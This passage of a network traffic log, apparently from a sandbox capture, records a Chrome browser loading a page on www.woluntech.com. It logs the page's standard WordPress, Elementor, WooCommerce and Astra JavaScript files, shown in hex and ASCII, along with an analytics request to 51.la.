2025-01-15 02:37:11 UTC	5184	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 5f 2c 61 3d 7b 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 65 29 7b 76 61 72 20 72 3d 6e 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 5f 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 5b 65 5d 28 5f 2c 5f 2e 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 2c 5f 2e 65 78 70 6f 72 74 73 7d 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /(()=>{"use strict";var e,r,_,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49800	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	972	OUT	GET /wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 4957 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-135d" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	4957	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 5f 2c 74 2c 69 2c 61 3d 7b 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 65 29 7b 76 61 72 20 72 3d 6e 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 5f 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 5b 65 5d 28 5f 2c 5f 2e 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 2c 5f 2e 65 78 70 6f 72 74 73 7d 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(()=>{"use strict";var e,r,_,t,i,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49801	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	973	OUT	GET /wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 32609 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-7f61" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 35 34 5d 2c 7b 33 38 31 3a 28 65 2c 74 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 74 2e 64 65 66 61 75 6c 74 3d 28 65 2c 74 29 3d 3e 7b 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 3a 5b 74 5d 3b 66 6f 72 28 63 6f 6e 73 74 Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[354],{381:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=(e,t)=>{t=Array.isArray(t)?t:[t];for(const
2025-01-15 02:37:11 UTC	16384	IN	Data Raw: 72 28 37 38 32 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 66 6f 72 28 76 61 72 20 61 3d 6f 28 74 29 2c 75 3d 73 2e 66 2c 63 3d 69 2e 66 2c 6c 3d 30 3b 6c 3c 61 2e 6c 65 6e 67 74 68 3b 6c 2b 2b 29 7b 76 61 72 20 66 3d 61 5b 6c 5d 3b 6e 28 65 2c 66 29 7c 7c 72 26 26 6e 28 72 2c 66 29 7c 7c 75 28 65 2c 66 2c 63 28 74 2c 66 29 29 7d 7d 7d 2c 32 35 38 35 3a 28 65 2c 74 2c 72 29 3d 3e 7b 76 61 72 20 6e 3d 72 28 35 32 38 33 29 2c 6f 3d 72 28 37 38 32 36 29 2c 69 3d 72 28 35 37 33 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 6f 2e 66 28 65 2c 74 2c 69 28 31 2c 72 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 65 5b 74 Data Ascii: r(7826);e.exports=function(e,t,r){for(var a=o(t),u=s.f,c=i.f,l=0;l<a.length;l++){var f=a[l];n(e,f)\|\|r&&n(r,f)\|\|u(e,f,c(t,f))}}},2585:(e,t,r)=>{var n=r(5283),o=r(7826),i=r(5736);e.exports=n?function(e,t,r){return o.f(e,t,i(1,r))}:function(e,t,r){return e[t
2025-01-15 02:37:11 UTC	269	IN	Data Raw: 72 28 22 52 75 6e 74 69 6d 65 45 72 72 6f 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 52 75 6e 74 69 6d 65 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 69 28 65 2c 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 29 7d 2c 33 32 30 33 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 2c 65 2e 65 78 70 6f 72 74 73 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 65 2e 65 78 70 6f 72 74 73 2e 64 65 66 61 75 6c 74 3d 65 2e 65 78 70 6f 72 74 73 7d 7d 2c 65 3d 3e 7b 76 61 72 20 74 3b 74 3d 36 34 31 Data Ascii: r("RuntimeError",(function(e){return function RuntimeError(t){return i(e,this,arguments)}}))},3203:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports}},e=>{var t;t=641

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49803	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	809	OUT	GET /wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 9533 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-253d" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	9533	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 62 6c 6f 63 6b 55 49 20 70 6c 75 67 69 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 20 32 2e 37 30 2e 30 2d 32 30 31 34 2e 31 31 2e 32 33 0a 20 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 20 76 31 2e 37 20 6f 72 20 6c 61 74 65 72 0a 20 2a 0a 20 2a 20 45 78 61 6d 70 6c 65 73 20 61 74 3a 20 68 74 74 70 3a 2f 2f 6d 61 6c 73 75 70 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 62 6c 6f 63 6b 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 37 2d 32 30 31 33 20 4d 2e 20 41 6c 73 75 70 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 3a 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 Data Ascii: /! jQuery blockUI plugin * Version 2.70.0-2014.11.23 * Requires jQuery v1.7 or later * * Examples at: http://malsup.com/jquery/block/ * Copyright (c) 2007-2013 M. Alsup * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49805	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	791	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 3037 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-bdd" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	3037	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 71 75 65 73 74 73 3d 5b 5d 2c 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 3d 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 72 75 6e 3d 74 68 69 73 2e 72 75 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 64 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 61 64 64 5f 74 6f 5f 63 61 72 74 5f 62 75 74 74 6f 6e 22 2c 7b 61 64 64 54 6f 43 61 72 74 48 61 6e 64 6c 65 72 3a 74 68 69 73 7d 2c 74 68 Data Ascii: jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49804	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	781	OUT	GET /wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 16290 Last-Modified: Mon, 07 Mar 2022 04:29:27 GMT Connection: close Vary: Accept-Encoding ETag: "62258a27-3fa2" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	15956	IN	Data Raw: 76 61 72 20 61 73 74 72 61 47 65 74 50 61 72 65 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 7c 7c 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 77 65 62 Data Ascii: var astraGetParents=function(e,t){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.matchesSelector\|\|Element.prototype.mozMatchesSelector\|\|Element.prototype.msMatchesSelector\|\|Element.prototype.oMatchesSelector\|\|Element.prototype.web
2025-01-15 02:37:11 UTC	334	IN	Data Raw: 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 61 73 74 2d 73 65 61 72 63 68 2d 6d 65 6e 75 2d 69 63 6f 6e 22 29 2c 61 3d 30 3b 61 3c 74 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 74 5b 61 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 73 74 2d 64 72 6f 70 64 6f 77 6e 2d 61 63 74 69 76 65 22 29 7d 2c 22 71 75 65 72 79 53 65 6c 65 63 74 6f 72 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 28 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 73 74 2d 6d 6f 75 73 65 2d 63 6c 69 63 6b 65 64 22 29 7d 29 2c 64 2e 61 64 64 45 76 Data Ascii: ElementsByClassName("ast-search-menu-icon"),a=0;a<t.length;a++)t[a].classList.remove("ast-dropdown-active")},"querySelector"in document&&"addEventListener"in window&&(d.addEventListener("mousedown",function(){d.classList.add("ast-mouse-clicked")}),d.addEv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49806	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	965	OUT	GET /wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 6475 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-194b" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	6475	IN	Data Raw: 76 61 72 20 72 75 6e 74 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 2c 65 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 28 6d 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 29 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 69 74 65 72 61 74 6f 72 22 2c 69 3d 6d 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 7c 7c 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 61 3d 6d 2e 74 6f 53 74 72 69 6e 67 54 61 67 7c 7c 22 40 40 74 6f 53 74 72 69 6e 67 54 61 67 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 72 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 Data Ascii: var runtime=function(t){"use strict";var r,e=Object.prototype,n=e.hasOwnProperty,o=(m="function"==typeof Symbol?Symbol:{}).iterator\|\|"@@iterator",i=m.asyncIterator\|\|"@@asyncIterator",a=m.toStringTag\|\|"@@toStringTag";function c(t,r,e){return Object.defineP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49802	90.84.161.20	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	595	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 270 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.woluntech.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:11 UTC	270	OUT	Data Raw: 1f 8b 08 00 54 1f 87 67 00 03 5d 50 3d 6f c3 20 14 fc 2b 16 63 55 62 1e b1 0d ce de a5 53 fa a5 ce 18 70 1c d9 c1 96 81 d0 aa ea 7f 6f 1e 49 96 6e a7 bb 83 bb 7b 3f e4 68 c8 ae 20 cf e3 fb d7 cb f7 c1 0f 42 bd 1a f5 c4 c9 63 41 d6 70 51 40 6c 9b 96 c9 86 4b 68 b7 17 32 20 49 52 28 68 f1 39 4f d1 15 7b 67 e3 49 85 a3 2e f6 eb 6c a2 0e 1e df 8e 09 6d 88 8c bf 23 7f 8d ea 41 aa ce 48 4b 01 b4 a4 b5 ec 34 6d 9b 8e 51 01 5d 23 b8 60 a2 07 8b 76 1d d1 3d 84 b0 f8 5d 59 a6 94 36 09 03 83 d5 c3 46 cf a7 72 36 76 f5 74 31 7d 89 ee 25 bb 73 ed 09 11 70 c9 1e 80 f1 0a a9 49 b9 03 92 d6 d1 8f b7 fc 77 5e 11 dd e8 e6 94 ab 9d b1 1a a0 62 ef 00 19 5e a1 98 37 33 dc b2 de 40 3c 7b 7d f3 c5 eb 2a 60 3d e7 bc b2 54 d6 a2 a6 75 25 34 55 ca 6c a9 d5 15 13 92 31 0d 42 61 52 Data Ascii: Tg]P=o +cUbSpoIn{?h BcApQ@lKh2 IR(h9O{gI.lm#AHK4mQ]#`v=]Y6Fr6vt1}%spIw^b^73@<{}*`=Tu%4Ul1BaR
2025-01-15 02:37:11 UTC	498	IN	HTTP/1.1 200 Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://www.woluntech.com Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE2[194],EU-GER-frankfurt-EDGE5-CACHE2[ovl,186],EA-HKG-EDGE1-CACHE2[ovl,30],EA-HKG-EDGE2-CACHE5[ovl,28],EA-HKG-GLOBAL1-CACHE33[ovl,26] X-CCDN-REQ-ID-46B1: 552e3be584bcec6c439631650d1cad5a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49807	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
